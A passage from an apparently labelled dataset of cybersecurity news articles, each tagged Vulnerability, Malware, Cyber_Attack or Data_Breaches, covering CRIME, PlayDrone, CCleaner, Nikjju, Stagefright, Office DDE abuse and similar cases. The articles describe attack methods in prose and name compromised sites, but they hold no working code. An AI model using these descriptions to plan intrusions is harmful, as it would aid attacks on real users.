The attacker must also be able to sniff the victim's HTTPS traffic. This can be done on open wireless networks; on local area networks (LANs), by using techniques such as ARP spoofing; or by gaining control of the victim's home router through a vulnerability or default password. CRIME was tested successfully with Mozilla Firefox and Google Chrome.

",Vulnerability
PlayDrone Reveals Secret Keys from Thousands of Play Store Android Apps,https://thehackernews.com/2014/06/playdrone-reveals-thousands-of-secret.html,"Google's Android Mobile operating system for smartphones and tablets have Google's own Play Store that provides its Android users the most visible way to access the world of millions of apps.

App developers produce more than thousands of applications each year, but majority of newbie and unprofessional developers use unsafe, unreliable, and insecure coding practices, as many developers store secret keys in their apps that could potentially allow cybercriminals to steal users' sensitive data.

A team of researchers from the computer science department of the Columbia University have discovered a critical security problem in the Google's official Android app store from where millions of Android users download various apps.

Researchers have found that most of the Android application developers often store their secret keys in their app's code, similar to usernames/passwords information, which could be then used by any bad actor to maliciously steal users' information or resources from the service providers such as Amazon and Facebook.

These vulnerabilities in the implementation of the Android applications can affect users even if they are not actively using the Android apps. Even ""Top Developers"" designated by the Google Play team as the best developers on Google Play, included these vulnerabilities in their apps, according to the researchers.

Google play store contains millions of apps, including free and paid apps, and over 50 billion app downloads.

""But no one reviews what gets put into Google Play—anyone can get a $25 account and upload whatever they want. Very little is known about what's there at an aggregate level,"" said Jason Nieh, professor of computer science at New York-based Columbia Engineering.

Researchers built and make use of a tool called PlayDrone, the first scalable Google Play store crawler tool that uses various hacking techniques to deceive the security measures that Google uses to prevent indexing of its Google Play store content. One can successfully download Google Play store content and recover their sources. (Slides) (Download PlayDrone)
""We have been working closely with Google, Amazon, Facebook and other service providers to identify and notify customers at risk, and make the Google Play store a safer place,"" said one of the researcher, Nicolas Viennot. ""Google is now using our techniques to proactively scan apps for these problems to prevent this from happening again in the future.""

PlayDrone managed to download more than 1.1 million Android apps and decompile over 880,000 free applications and analyzing over 100 billion lines of decompiled code.

WHAT GOOGLE SHOULD DO?
With the widely spread platform of Android operating system in the mobile phones, no doubt it's become an easy target for cybercriminals. Now, this weakness in the practices of apps development found on the official Google play store is icing on the cake for cybercriminals.

I would not call it a vulnerability in the Google play store because its not flaw in their server or network, rather it's the fault of app developers, who take their users' data security as granted and Google itself, which approves apps with weak development practices and have never implement any strict guidelines to stop developers from doing so.

Google should actively encourage and enforce new policy on the app developers, so that they give top priority to their users' data security and any violations to the policy could lead to suspension of that developer's licence.",Vulnerability
CCleaner Attack Timeline—Here's How Hackers Infected 2.3 Million PCs,https://thehackernews.com/2018/04/ccleaner-malware-attack.html,"Last year, the popular system cleanup software CCleaner suffered a massive supply-chain malware attack of all times, wherein hackers compromised the company's servers for more than a month and replaced the original version of the software with the malicious one.

The malware attack infected over 2.3 million users who downloaded or updated their CCleaner app between August and September last year from the official website with the backdoored version of the software.

Now, it turns out that the hackers managed to infiltrate the company's network almost five months before they first replaced the official CCleaner build with the backdoored version, revealed Avast executive VP and CTO Ondrej Vlcek at the RSA security conference in San Francisco on Tuesday.

6-Months Timeline of CCleaner Supply Chain Attack
Vlcek shared a brief timeline of the last year's incident that came out to be the worst nightmare for the company, detailing how and when unknown hackers breached Piriform, the company that created CCleaner and was acquired by Avast in July 2017.

March 11, 2017 (5 AM local time)—Attackers first accessed an unattended workstation of one of the CCleaner developers, which was connected to Piriform network, using remote support software TeamViewer.

The company believes attackers reused the developer's credentials obtained from previous data breaches to access the TeamViewer account and managed to install malware using VBScript on the third attempt.

March 12, 2017 (4 AM local time)—Using the first machine, attackers penetrated into the second unattended computer connected to the same network and opened a backdoor through Windows RDP (Remote Desktop Service) protocol.

Using RDP access, the attackers dropped a binary and a malicious payload—a second stage malware (older version) that was later delivered to 40 CCleaner users—on the target computer's registry.

March 14, 2017—Attackers infected the first computer with the older version of the second stage malware as well.

April 4, 2017—Attackers compiled a customised version of ShadowPad, an infamous backdoor that allows attackers to download further malicious modules or steal data, and this payload the company believes was the third stage of the CCleaner attack.

April 12, 2017—A few days later, attackers installed the 3rd stage payload on four computers in the Piriform network (as a mscoree.dll library) and a build server (as a .NET runtime library).

Between mid-April and July—During this period, the attackers prepared the malicious version of CCleaner, and tried to infiltrate other computers in the internal network by installing a keylogger on already compromised systems to steal credentials, and logging in with administrative privileges through RDP.

July 18, 2017—Security company Avast acquired Piriform, the UK-based software development company behind CCleaner with more than 2 billion downloads.

August 2, 2017—Attackers replaced the original version of CCleaner software from its official website with their backdoored version of CCleaner, which was distributed to millions of users.

September 13, 2017—Researchers at Cisco Talos detected the malicious version of the software, which was being distributed through the company's official website for more than a month, and notified Avast immediately.

The malicious version of CCleaner had a multi-stage malware payload designed to steal data from infected computers and send it back to an attacker-controlled command-and-control server.

Although Avast, with the help of the FBI, was able to shut down the attackers' command-and-control server within three days of being notified of the incident, the malicious CCleaner software had already been downloaded by 2.27 million users.

Moreover, it was found that the attackers were then able to install a second-stage payload on 40 selected computers operated by major international technology companies, including Google, Microsoft, Cisco, Intel, Samsung, Sony, HTC, Linksys, D-Link, Akamai and VMware.

However, the company has no proofs if the third stage payload with ShadowPad was distributed to any of these targets.
""Our investigation revealed that ShadowPad had been previously used in South Korea, and in Russia, where attackers intruded a computer, observing a money transfer."" Avast said.
""The oldest malicious executable used in the Russian attack was built in 2014, which means the group behind it might have been spying for years.""
Based on their analysis of the ShadowPad executable from the Piriform network, Avast believes that the malicious attackers behind the malware have been active for a long time, spying on institutions and organizations so thoroughly.

",Malware
Nikjju Mass injection campaign target more than 2 Millions Urls,https://thehackernews.com/2012/04/nikjju-mass-injection-campaign-target.html,"Nikjju Mass injection campaign target more than 2 Millions Urls



Daniel Cid an open source developer and information security professional reported on Sucuri blog that their team tracked a new mass SQL injection campaign that started early this month and till now more than 180,000 URLs have been compromised. Nikjju is a mass SQL injection campaign targeting ASP/ASP.net sites.

At the time of writing Google has identified 361,000 pages infected with that javascript call, but the number is growing really fast.

In this case it adds the following javascript to the compromised sites.
One more interesting fact that researchers have noticed that Nikjju.com domain was registered on April 1st 2012 and in 18 days more than 180,000 urls get infected.

This mass Sql Injection also compromise some Government sites also , as listed below :
jnd.xmchengdu.gov.cn
study.dyny.gov.cn
www.cnll.gov.cn
www.bj.hzjcy.gov.cn
www.mirpurkhas.gov.pk
www.tdnyw.gov.cn
gcjs.kaifeng.gov.cn


Few hours we have also reported that, Google Sent Hacked Notification Messages to Millions of Webmasters of sites doing ""weird redirects.""

",Malware
German Aerospace Center targeted by Self-Destructing Spyware,https://thehackernews.com/2014/04/Spyware-german-aerospace-center-cyber-espionage.html,"It's not so far when Germany confirmed its biggest Data theft in the country's history with the usernames and passwords of some 18 million email accounts stolen and compromised by Hackers, and now German space research center has been reportedly targeted in a cyber attack.

The new story broke by the German press, Der Spiegel on Sunday revealing that the German Aerospace Centre (DLR - Deutsches Zentrum für Luft- und Raumfahrt e. V.), the country's national center for aerospace, energy and transportation research located in Cologne has been reportedly targeted in a cyber attack out ""coordinated and systematic"", apparently launched by a foreign intelligence agency.

The systems used by administrators and scientists of the space research center have been found to be infected with Malware and spyware software, and as mention in the report, the attack was ""co-ordinated and systematic"" with the perfection of Trojan used.

SELF-DESTRUCTING MALWARE, WITH LOVE FROM CHINA
The espionage attack appears to be so complex that even the forensic investigators who have analyzed the infections unable to detect the actual malware, as some Trojans used were designed to self-destruct as soon as they discovered, while other malware remain mum for several months before being activated.

The report says all operating systems that are in use at German Aerospace Center (DLR) are affected by the cyber attacks. Yet, it is not at all clear that who is behind the cyber attacks. But, the evidence points towards China, as IT forensic experts of the Federal Office for Security in Information Technology (BSI) discovered ""Chinese characters"" in the malicious code of some Trojan and ""recurring typos"" suggest an attacker from the Far East.

Though, it could also be a ""simple camouflage"", an insider told Der Spiegel. As the U.S. intelligence agency NSA can't be completely ruled out, he added. But China would appear more likely on the first glance, rather than United States, because they are already at foremost position in space exploration.

The federal government categorizes the attack as extremely serious because among other things, the center gathers and reserves information on armament and rocket technologies as well.

",Malware
Vulnerability in USB Internet Modems allows hacker to access Millions of Computers remotely,https://thehackernews.com/2013/08/vulnerability-in-usb-internet-modems.html,"A USB Internet Modems or Data card, is a type of modem that allows your computer to receive Internet access using USB Port and connect to a GSM/CDMA network there by creating a PPPoE (Point to Point protocol over Ethernet) interface to your computer.

Indian Security Researcher 'Rahul Sasi' found a new Innovative critical flaw in these USB Internet Modems that allows an attacker to execute malicious code remotely, just via sending an SMS.

While talking to 'The Hacker News' , he claimed that the reported vulnerability allows him to even hack computers remotely to gain the Meterpreter shell or full access to the victim's PC.

Vulnerability can be used by a malicious attacker for Mass exploitation, since these modems have a phone number which lies in a particular series, so all the phone numbers starting with xxxxxx1000 to xxxxxx2000 would be running a particular version of the USB modem software.
USB Internet Modems are supplied with dialer software either written by the hardware manufacture or by the mobile supplier and also come bundled with device driver. The device driver, which comes default with these devices are in CDFS (CD-ROM File System) that has the Dialer software in it and they usually provide interrupt handling for an asynchronous hardware interface.

These Dialer software also provides an interface to read/send SMS from your computer directly after installation. These SMS modules added to the dialers, simply check the connected USB modem for incoming SMS messages, and if any new message is found it's parsed and moved to a local sqlite database, which is further used to populate the SMS viewer.

Demonstration of code execution via SMS payloads:
According to Rahul, when SMS is received on the modem parser (dialer), it tries to read the data and parse it as a privileged user, to store output in local database. Now the attacker can execute the exploit by sending malicious payloads via SMS.

This way, the attacker does not require any user interaction, because once the victim will come online he will get all the SMS payloads from an attacker automatically.

Flaw also can be used to DDoS all the USB modems just by sending them malformed SMS. When payload arrives on the modem, dialer tries to parse the data and crashes, causing the user to get knocked off the Internet.

For example, Sending malformed SMS to 1000 users ranging from mobile number 9xxxxxx000 - 9xxxxxx999. In this scenario, an attacker can knock all the online users offline instantly.

Demonstration of DDoS attack:

""These attacks would not be flagged by your firewalls, mainly because the SMS is received over a GSM/CDMA line that is connected directly to your computer. So there would be no alerting from any of your security devices on these attacks. Also maintaining anonymity over SMS based exploit is easy."" he said.



All local Indian vendors of USB Internet Modems i.e. Idea, Reliance, Tata etc. are also vulnerable to this attack. Millions of such active Modems / systems are vulnerable to cyber attack, since vendors never provided any patch for users via ""Online Update"" option available in the software.

During his talk at CanSecWest and Nullcon Conferences, he focused on -- the overall security impact of these devices. He reported the flaw to the Companies and promised to release the full POC code after 3 months.

",Vulnerability
US Identifies 6 Russian Government Officials Involved In DNC Hack,https://thehackernews.com/2017/11/dnc-email-russian-hackers.html,"The United States Department of Justice has reportedly gathered enough evidence to charge at least six Russian government officials for allegedly playing a role in hacking DNC systems and leaking information during the 2016 presidential race.

Earlier this year, US intelligence agencies concluded that the Russian government was behind the hack and expose of the Democratic National Committee (DNC) emails in order to influence the 2016 presidential election in Donald Trump's favour.

Now, citing people familiar with the investigation, the Wall Street Journal reported on Thursday that United States federal prosecutors could bring charges against the alleged unnamed Russian officials early next year.

The US federal intelligence investigators also believe that ""dozens"" of other Russian officials may have also participated in the DNC hack, which was allegedly ordered by Russian President Vladimir Putin himself.

However, both Putin and Russian government officials have denied allegations.

The DNC computer system hack last year led to thousands of stolen DNC emails, including personal and sensitive emails from Hillary Clinton campaign manager John Podesta, appeared on whistleblowing website WikiLeaks.

In a separate forensic investigation conducted by FireEye incident response firm Mandiant identified hacking tools and techniques used in the DNC hack associated with Fancy Bear—also known as APT28, Sofacy, Sednit, and Pawn Storm—a state-sponsored hacking group believed to be a unit of Russian Military Intelligence (the GRU).

U.S. federal agents and prosecutors in Washington, Pittsburgh, Philadelphia and San Francisco have been cooperating with the DNC investigation. However, none of them has revealed the actual identity of the six suspects.

However, even after getting charged, the Russian officials or hackers will hardly be prosecuted in the United States until they enter the US soil because the country has no extradition agreement with Russia.

This is the second time in this year when the United States has charged Russian officials with cyber crimes.

In March 2017, the DoJ charged two Russian intelligence officers—Dmitry Aleksandrovich Dokuchaev and Igor Anatolyevich Sushchin—and two criminal hackers—Alexsey Alexseyevich Belan and Karim Baratov—in connection with the 2014 Yahoo hack that exposed about 500 million Yahoo user accounts.

However, no one has ever seen the insides of a United States courtroom.

",Cyber_Attack
17-Year-Old Hanged Himself After Receiving Police Ransomware Threat Email,https://thehackernews.com/2015/01/police-ransomware-suicide.html,"Ransomware malware threat has forced somebody for the terrible suicide and once again has marked its history by somebody's blood. Sad, but it's True!

Joseph Edwards, a 17-year-old schoolboy from Windsor, Berkshire, hanged himself after receiving a bogus email appeared to be from police claiming that he'd been spotted browsing illegal websites and that a fine of 100 pound needed to be paid in order to stop the police from pursuing him.

The scam email pushed the well-known Police Ransomware onto the boy's laptop and also downloaded malware that locked up his system once it was opened.

Edwards was an A-level student with Autism, a developmental disability, that likely made him more susceptible to believing the Internet scam mail, supposedly sent from from Cheshire police, was genuine, a coroner heard on Thursday.

Edwards was so upset and depressed by the accusation and the extortionate demand that he hanged himself hours after falling victim to the crucial threat. He was found hanged at his family home in Windsor by his mother Jacqueline Edwards, who told the coroner that he probably didn't understand the implications of his actions.
""He didn't seem to have any worries known to me. I don't think he really understood,"" Jacqueline Edwards told the coroner. ""Joseph was subjected to a scam on the internet, a threatening, fake police link that was asking for money,"" his mother said in a statement. ""He would have taken it literally because of his autism and he didn't want to upset Georgia [his sister] or me.""
As far as we all know, a Police ransomware of this type does not encrypt files and usually asks a victim to pay a small fine that last around $200 or €200. It's normally much easier to remove the threat from infected systems by using dedicated tools specially designed to remove such infections.

According to Detective Sergeant Peter Wall, it will be almost impossible to trace the fraudsters behind the 'crude' email, but believe it may have originated outside the UK.

This is not first time when Ransomware has become deadly reason to take someone's life. Over a year ago, a Romanian family faced same Police Ransomware threat and the Romanian victim hanged himself and his four-year-old son, scarring that his young son would pay for his mistake and his life would be spend in the moment of delusion.

Ransomware is one of the most blatant and obvious criminal's money making schemes out there, from which Cryptolocker threat had touched the peak, and cyber criminals have developed many Cryptolocker versions (prisonlocker, linkup, icepole, cryptobit) by which you have to safeguard your system.

",Malware
A New Spyware is Targeting Telegram and Psiphon VPN Users in Iran,https://thehackernews.com/2021/06/a-new-spyware-is-targeting-telegram-and.html,"Threat actors with suspected ties to Iran have been found to leverage instant messaging and VPN apps like Telegram and Psiphon to install a Windows remote access trojan (RAT) capable of stealing sensitive information from targets' devices since at least 2015.
Russian cybersecurity firm Kaspersky, which pieced together the activity, attributed the campaign to an advanced persistent threat (APT) group it tracks as Ferocious Kitten, a group that has singled out Persian-speaking individuals allegedly based in the country while successfully operating under the radar.
""The targeting of Psiphon and Telegram, both of which are quite popular services in Iran, underlines the fact that the payloads were developed with the purpose of targeting Iranian users in mind,"" Kaspersky's Global Research and Analysis Team (GReAT) said.
""Moreover, the decoy content displayed by the malicious files often made use of political themes and involved images or videos of resistance bases or strikes against the Iranian regime, suggesting the attack is aimed at potential supporters of such movements within the country.""
Kaspersky's findings emerge from two weaponized documents that were uploaded to VirusTotal in July 2020 and March 2021 that come embedded with macros, which, when enabled, drop next-stage payloads to deploy a new implant called MarkiRat.
The backdoor allows adversaries broad access to a victim's personal data, comprising features to record keystrokes, capture clipboard content, download and upload files, as well as the ability to execute arbitrary commands on the victim machine.
In what appears to be an attempt to expand their arsenal, the attackers also experimented with different variants of MarkiRat that were found to intercept the execution of apps like Google Chrome and Telegram to launch the malware and keep it persistently anchored to the computer at the same time also making it much harder to be detected or removed. One of the discovered artifacts also includes a backdoored version of Psiphon; an open-source VPN tool often used to evade internet censorship.
Another recent variant involves a plain downloader that retrieves an executable from a hardcoded domain, with the researchers noting that the ""use of this sample diverges from those used by the group in the past, where the payload was dropped by the malware itself, suggesting that the group might be in the process of changing some of its TTPs.""
What's more, the command-and-control infrastructure is also said to have hosted Android applications in the form of DEX and APK files, raising the possibility that the threat actor is also simultaneously developing malware aimed at mobile users.
Interestingly, the tactics adopted by the adversary overlap with other groups that operate against similar targets, such as Domestic Kitten and Rampant Kitten, with Kaspersky finding parallels in the way the actor used the same set of C2 servers over extended periods of time and attempted to gather information from KeePass password manager.
""Ferocious Kitten is an example of an actor that operates in a wider ecosystem intended to track individuals in Iran,"" the researchers concluded. ""Such threat groups do not appear to be covered that often and can therefore get away with casually reusing infrastructure and toolsets without worrying about them being taken down or flagged by security solutions.""

",Cyber_Attack
Russian 'Fancy Bear' Hackers Using (Unpatched) Microsoft Office DDE Exploit,https://thehackernews.com/2017/11/apt28-office-dde-malware.html,"Cybercriminals, including state-sponsored hackers, have started actively exploiting a newly discovered Microsoft Office vulnerability that Microsoft does not consider as a security issue and has already denied to patch it.

Last month, we reported how hackers could leverage a built-in feature of Microsoft Office feature, called Dynamic Data Exchange (DDE), to perform code execution on the targeted device without requiring Macros enabled or memory corruption.

DDE protocol is one of the several methods that Microsoft uses to allow two running applications to share the same data.

The protocol is being used by thousands of apps, including MS Excel, MS Word, Quattro Pro, and Visual Basic for one-time data transfers and for continuous exchanges for sending updates to one another.

Soon after the details of DDE attack went public, several reports emerged about various widespread attack campaigns abusing this technique in the wild to target several organisations with malware.

Now, for the first time, this DDE attack technique has been found leveraging by an Advanced Persistent Threat (APT) hacking group—APT28, which is well known as Fancy Bear and is widely believed to be backed by the Russian government.

Russian Hackers Using New York Terror Attack to Lure Victims

While analyzing a new spear phishing campaign, security researchers discovered that the Fancy Bear hackers have been leveraging the DDE vulnerability since late October, according to a recent report published Tuesday by McAfee researchers.

The campaign involved documents referencing the recent terrorist attack in New York City in an attempt to trick victims into clicking on the malicious documents, which eventually infects their systems with malware.

Since DDE is a Microsoft's legitimate feature, most antivirus solutions don't flag any warning or block the documents with DDE fields.

Therefore, anyone who clicks on the malicious attachment (with names like SabreGuard2017.docx or IsisAttackInNewYork.docx) inadvertently runs malicious code on his/her computer without any restriction or detection.

Once opened, the document runs contacts a command-and-control server to install the first stage of the malware called Seduploader on victims' machines using PowerShell commands.

Seduploader then profiles prospective victims by pulling basic host information from the infected system to the hackers. If the system is of interest, the attackers later install a more fully featured piece of spyware—X-Agent and Sedreco.
""APT28 is a resourceful threat actor that not only capitalizes on recent events to trick potential victims into infections but can also rapidly incorporate new exploitation techniques to increase its success,"" Mcafee researchers concluded.
""Given the publicity the Cy Con U.S campaign received in the press, it is possible APT28 actors moved away from using the VBA script employed in past actions and chose to incorporate the DDE technique to bypass network defenses.""
This is not first malware campaign that has been spotted abusing the DDE attack technique.

Soon after the details of DDE attack technique went public, Cisco's Talos threat research group uncovered an attack campaign that was actively exploiting this attack technique to target several organisations with a fileless remote access trojan called DNSMessenger.

Late last month, researchers discovered a campaign that spread Locky ransomware and TrickBot banking trojan via Word documents that leveraged the DDE technique.

Another separate malware spam campaign discovered by security researchers also found distributing Hancitor malware (also known as Chanitor and Tordal) using Microsoft Office DDE exploit.

Protection Against DDE Malware Attacks

Since Microsoft does not provide any protection against such attacks, you can easily prevent yourself from falling victim to any malicious document abusing the Microsoft's DDE feature by disabling it entirely.

If you use Microsoft Word 2016 or Microsoft Excel 2016, go to Options → Advanced, and then remove the checkmark from ""Update automatic links at open"" which is listed under the general group on the page.

In MS Excel, you can also consider checking ""Ignore other applications that use Dynamic Data Exchange (DDE).""

Moreover, Disable DDEAuto is a Registry file maintained on GitHub that disables the ""update links"" as well as ""embedded files"" functionality in MS Office documents when run.

You can detect Office documents abusing the DDE feature via a set of YARA rules in Office Open XML files published by the researchers at NVISO Labs.

However, the best way to protect yourself from such malware attacks is always to be suspicious of uninvited documents sent via emails and never click on links inside those documents unless adequately verifying the source.

",Cyber_Attack
CrySyS Duqu Detector Open source Toolkit Released,https://thehackernews.com/2011/11/crysys-duqu-detector-open-source.html,"CrySyS Duqu Detector Open source Toolkit Released
Two weeks ago Researchers at the Laboratory of Cryptography and System Security (CrySyS) in Hungary confirmed the existence of the zero-day vulnerability in the Windows kernel, according to security researchers tracking the Stuxnet-like cyber-surveillance Trojan.

The Laboratory of Cryptography and System Security (CrySyS) has released an open-source toolkit that can find traces of Duqu infections on computer networks.The open-source toolkit, from the Laboratory of Cryptography and System Security (CrySyS), contains signature- and heuristics-based methods that can find traces of Duqu infections where components of the malware are already removed from the system.

They make a release that ""The toolkit contains signature and heuristics based methods and it is able to find traces of infections where components of the malware are already removed from the system.The intention behind the tools is to find different types of anomalies (e.g., suspicious files) and known indicators of the presence of Duqu on the analyzed computer. As other anomaly detection tools, it is possible that it generates false positives. Therefore, professional personnel is needed to elaborate the resulting log files of the tool and decide about further steps.""

This toolkit contains very simple, easy-to-analyze program source code, thus it may also be used in special environments, e.g. in critical infrastructures, after inspection of the source code (to check that there is no backdoor or malicious code inside) and recompiling.
You can download it from Here

",Malware
ex-NSA Hacker Discloses macOS Mojave 10.14 Zero-Day Vulnerability,https://thehackernews.com/2018/09/apple-macos-mojave-exploit.html,"The same day Apple released its latest macOS Mojave operating system, a security researcher demonstrated a potential way to bypass new privacy implementations in macOS using just a few lines of code and access sensitive user data.

On Monday, Apple started rolling out its new macOS Mojave 10.14 operating system update to its users, which includes a number of new privacy and security controls, including authorization prompts.

Mojave 10.14 now pops up authorization prompts that require direct and real user interaction before any unprivileged third-party application can tap into users' sensitive information, such as address books, location data, message archives, Mail, and photos.

Patrick Wardle, an ex-NSA hacker and now chief research officer at Digita Security, discovered a zero-day flaw that could allow an attacker to bypass authorization prompts and access users' personal information by using an unprivileged app.

Wardle tweeted a video Monday showing how he was able to bypass the permission requirements on a dark-themed Mojave system by running just a few lines of code simulating a malicious app called ""breakMojave,"" which allowed him to access to the address book and copy it to the macOS desktop.

However, Wardle goes on to say that not just Mojave's Dark Mode, but all modes are affected by the privacy bypass vulnerability.

""Mojave's 'dark mode' is gorgeous...but its promises about improved privacy protections? kinda #FakeNews,"" Wardle tweeted with a link to a minute-long Vimeo video.

Well, the privacy bypass flaw in Mojave seems to be concerning due to its simplicity of carrying out personal data pilfering, with no permissions required.

It should be noted that the flaw does not work with all of the new privacy protection features implemented by Apple in macOS Mojave, and hardware-based components, like the webcam and microphone, are not affected.

Since there is no public macOS bounty program to report the vulnerabilities, Wardle said on Twitter that he's still looking for a way to report the flaw to Apple.

Wardle has not released details beyond just the proof-of-concept video until the company patches the issue in order to prevent abuse. Until then, Mojave users are recommended to be cautious about what apps they run.

Wardle is set to release more technical details of the vulnerability in his upcoming Mac Security conference in November.

Last month, Wardle publicly disclosed a different macOS zero-day flaw that could allow a malicious application installed on a targeted Mac system running Apple's High Sierra operating system to virtually ""click"" objects without any user interaction or consent, leading to full system compromise.

",Vulnerability
"In the Wake of the SolarWinds Hack, Here's How Businesses Should Respond",https://thehackernews.com/2021/01/in-wake-of-solarwinds-hack-heres-how.html,"Throughout 2020, businesses, in general, have had their hands full with IT challenges. They had to rush to accommodate a sudden shift to remote work. Then they had to navigate a rapid adoption of automation technologies.
And as the year came to a close, more businesses began trying to assemble the safety infrastructure required to return to some semblance of normal in 2021.
But at the end of the year, news of a massive breach of IT monitoring software vendor SolarWinds introduced a new complication – the possibility of a wave of secondary data breaches and cyber-attacks. And because SolarWinds' products have a presence in so many business networks, the size of the threat is massive.
So far, though, most of the attention is getting paid to large enterprises like Microsoft and Cisco (and the US Government), who were the primary target of the SolarWinds breach. What nobody's talking about is the rest of the 18,000 or so SolarWinds clients who may have been affected. For them, the clock is ticking to try and assess their risk of attack and to take steps to protect themselves.
And because a number of the affected businesses don't have the resources of the big guys, that's a tall order right now.
So, the best many companies can do to take action right now is to make their networks a bit of a harder target – or at least to minimize their chances of suffering a major breach. Here's how:
Begin with Basic Security Steps
The first thing businesses should do is make certain that their networks are as internally secure as possible. That means reconfiguring network assets to be as isolated as possible.
A good place to start is to make sure that any major business data lakes follow all security best practices and remain operationally separate from one another. Doing so can limit data exfiltration if unauthorized users gain access due to a security breach.
But that's just the beginning. The next step is to segment network hardware into logical security VLANS and erect firewall barriers to prevent communications between them (where possible). Then, review the security settings of each group and make adjustments where necessary. Even hardening VoIP systems are worth doing, as you never know what part of a network will be used as an entry point for a broader attack.
And last but not least, review employee security practices and procedures. This is especially important after the rushed rollout of work-from-home policies. Make it a point to see that every employee is operating according to the established security standards and hasn't picked up any poor operational security habits. For example, did anyone start using a VPN for free, believing they were improving their home network security?
If so, they need to stop and receive training to make better security judgments while they're still working remotely.
Conduct a Limited Security Audit
One of the problems that businesses confront when trying to re-secure after a possible network breach is that there's no easy way to tell what – if anything – the attackers changed after gaining access. To be certain, a lengthy and complex forensic examination is the only real option. But that can take months and can cost a fortune to conduct. For smaller businesses that aren't even certain that a breach even happened to them, though, there's a better approach.
It's to take a limited sample of potentially affected systems and conduct a simple risk-limiting audit. Begin with at least two representative computers or devices from each business unit or department. Then, examine each for signs of an issue.
In general, you would look for:
Disabled or altered security and antivirus software
Unusual system log events
Unexplained outgoing network connections
Missing security patches or problems with automatic software updates
Unknown or unapproved software installations
Altered filesystem permissions
Although an audit of this type won't guarantee nothing's wrong with every device on your network, it will uncover signs of any major penetration that's already taken place. For most small to medium-sized businesses, that should be enough in situations where there's no clear evidence of an active attack in the first place.
Engage in Defensive Measures
After dealing with the network and its users, the next thing to do is deploy some defensive measures to help with ongoing monitoring and attack detection. An excellent place to start is to set up a honeypot within the network to give potential attackers an irresistible target. This not only keeps them busy going after a system that's not mission-critical but also serves as an early warning system to administrators when a real attack does take place.
There are a variety of ways to accomplish this, ranging from pre-built system images all the way up to more sophisticated custom deployments. There are also cloud solutions available for situations where on-premises hardware is either inappropriate or undesirable. What's important is to build a system that monitors for the exact kind of behavior that would indicate a problem within its environment.
A word of caution, though. Although a honeypot is built to be a target, that doesn't mean it should be left completely vulnerable. The idea is to make it an attractive target, not an easy one. And, it's crucial to make sure that it can't be used as a stepping-stone to a bigger attack on actual production systems.
For that reason, it's worth it to engage the services of a trained cybersecurity professional to help make sure the system doesn't turn into a security liability instead of a valuable defensive measure.
Remain Vigilant
After taking the steps above, there's nothing more to do but wait and watch. Unfortunately, there's no better way to maintain a network's security than by remaining ever-vigilant. And in a situation like the one unleashed by the SolarWinds hack, businesses, and IT organizations, in general, are at a significant disadvantage.
That's because they're facing an enemy that may or may not already be within the gates, meaning they can't fall back on typical walled-garden security approaches.
So, as 2021 gets underway, the best thing any business can do is get their security house in order and try to limit the damage if they've already been breached.
It's more than worth the effort in any case because the current threat environment is only going to get worse, not better. And the SolarWinds hack, as serious and wide-ranging as it is, won't be the last major security crisis businesses have to face.
So, it's time to buckle up because the new decade is going to be one heck of a ride, network security-wise – and it will pay to be ready for it.

",Cyber_Attack
Android Stagefright Exploit Code Released,https://thehackernews.com/2015/09/stagefright-android-exploit-code.html,"Zimperium Mobile Security Labs (zLabs) have been working hard to make Android operating system more safe and secure to use.

Zimperium team has publicly released the CVE-2015-1538 Stagefright Exploit, demonstrating the process of Remote Code Execution (RCE) by an attacker.

The released exploit is a python code creating an MP4 exploiting the 'stsc' vulnerability dubbed Stagefright.

The purpose behind the release is to put penetration testers and security researchers to test and check the vulnerability of the code and analyze the results.

Considered as the most critical flaw among all the existing vulnerabilities; the Stagefright flaw is capable of revealing user's information remotely by injecting malicious code, even without any involvements of the user.

Two months ago, Zimperium Labs uncovered multiple vulnerabilities in 'libstagefright,' a service attached with the software-based codecs natively in Android smartphones for media playback.

The vulnerability allowed booby-trapped MP4 videos that supplied variables with 64-bit lengths to overflow the buffer and crash the smartphone when trying to open that multimedia message.

The list of vulnerabilities extend to:
CVE-2015-1538, P0006, Google Stagefright 'stsc' MP4 Atom Integer Overflow Remote Code Execution
CVE-2015-1538, P0004, Google Stagefright 'ctts' MP4 Atom Integer Overflow Remote Code Execution
CVE-2015-1538, P0004, Google Stagefright 'stts' MP4 Atom Integer Overflow Remote Code Execution
CVE-2015-1538, P0004, Google Stagefright 'stss' MP4 Atom Integer Overflow Remote Code Execution
CVE-2015-1539, P0007, Google Stagefright 'esds' MP4 Atom Integer Underflow Remote Code Execution
CVE-2015-3827, P0008, Google Stagefright 'covr' MP4 Atom Integer Underflow Remote Code Execution
CVE-2015-3826, P0009, Google Stagefright 3GPP Metadata Buffer Overread
CVE-2015-3828, P0010, Google Stagefright 3GPP Integer Underflow Remote Code Execution
CVE-2015-3824, P0011, Google Stagefright 'tx3g' MP4 Atom Integer Overflow Remote Code Execution
CVE-2015-3829, P0012, Google Stagefright 'covr' MP4 Atom Integer Overflow Remote Code Execution
The vulnerability was affecting Android operating system version 2.2 (Froyo) and before version 5.1.1_r9 (Lollipop).

To access the exploit go to Stagefright_CVE-2015-1538-1_Exploit.py (raw file) explaining the conditions that come along and everything you need to know.

To know further, visit US-CERT/CC advisory where they posted the details regarding the announcement.

",Vulnerability
App Used by Israel's Ruling Party Leaked Personal Data of All 6.5 Million Voters,https://thehackernews.com/2020/02/Israeli-voter-data-leaked.html,"An election campaigning website operated by Likud―the ruling political party of Israeli Prime Minister Benjamin Netanyahu―inadvertently exposed personal information of all 6.5 million eligible Israeli voters on the Internet, just three weeks before the country is going to have a legislative election.

In Israel, all political parties receive personal details of voters before the election, which they can't share with any third party and are responsible for protecting the privacy of their citizens and erasing it after the elections are over.

Reportedly, Likud shared the entire voter registry with Feed-b, a software development company, who then uploaded it a website (elector.co.il) designed to promote the voting management app called 'Elector.'

According to Ran Bar-Zik, a web security researcher who disclosed the issue, the voters' data was not leaked using any security vulnerability in the Elector app; instead, the incident occurred due to negligence by the software company who leaked the username and password for the administrative panel through an unprotected API endpoint that was listed in the public source code of its homepage, as shown.



""Someone visiting the Elector website on a standard browser like Google's Chrome could right-click their mouse on the page and select 'View page source.' The revealed source code for the website contained a link to the 'get-admins-users' page, which the prospective hacker simply had to visit in order to find, out in the open, the passwords of ""admin"" users — those with authorization to manage the database."" Israeli media explained.

The exposed database includes the full names, identity card numbers, addresses, and gender of 6,453,254 voters in Israel, as well as the phone numbers, father's name, mother's name, and other personal details of some of them.

Through the affected Elector website is down for many users at the time of writing, some media reports confirm the software company has now patched the issue but can't ensure how many people have since then been able to download the voters' database.

The Israeli Justice Ministry's Privacy Protection Authority (PPA) said it was investigating the incident.
",Data_Breaches
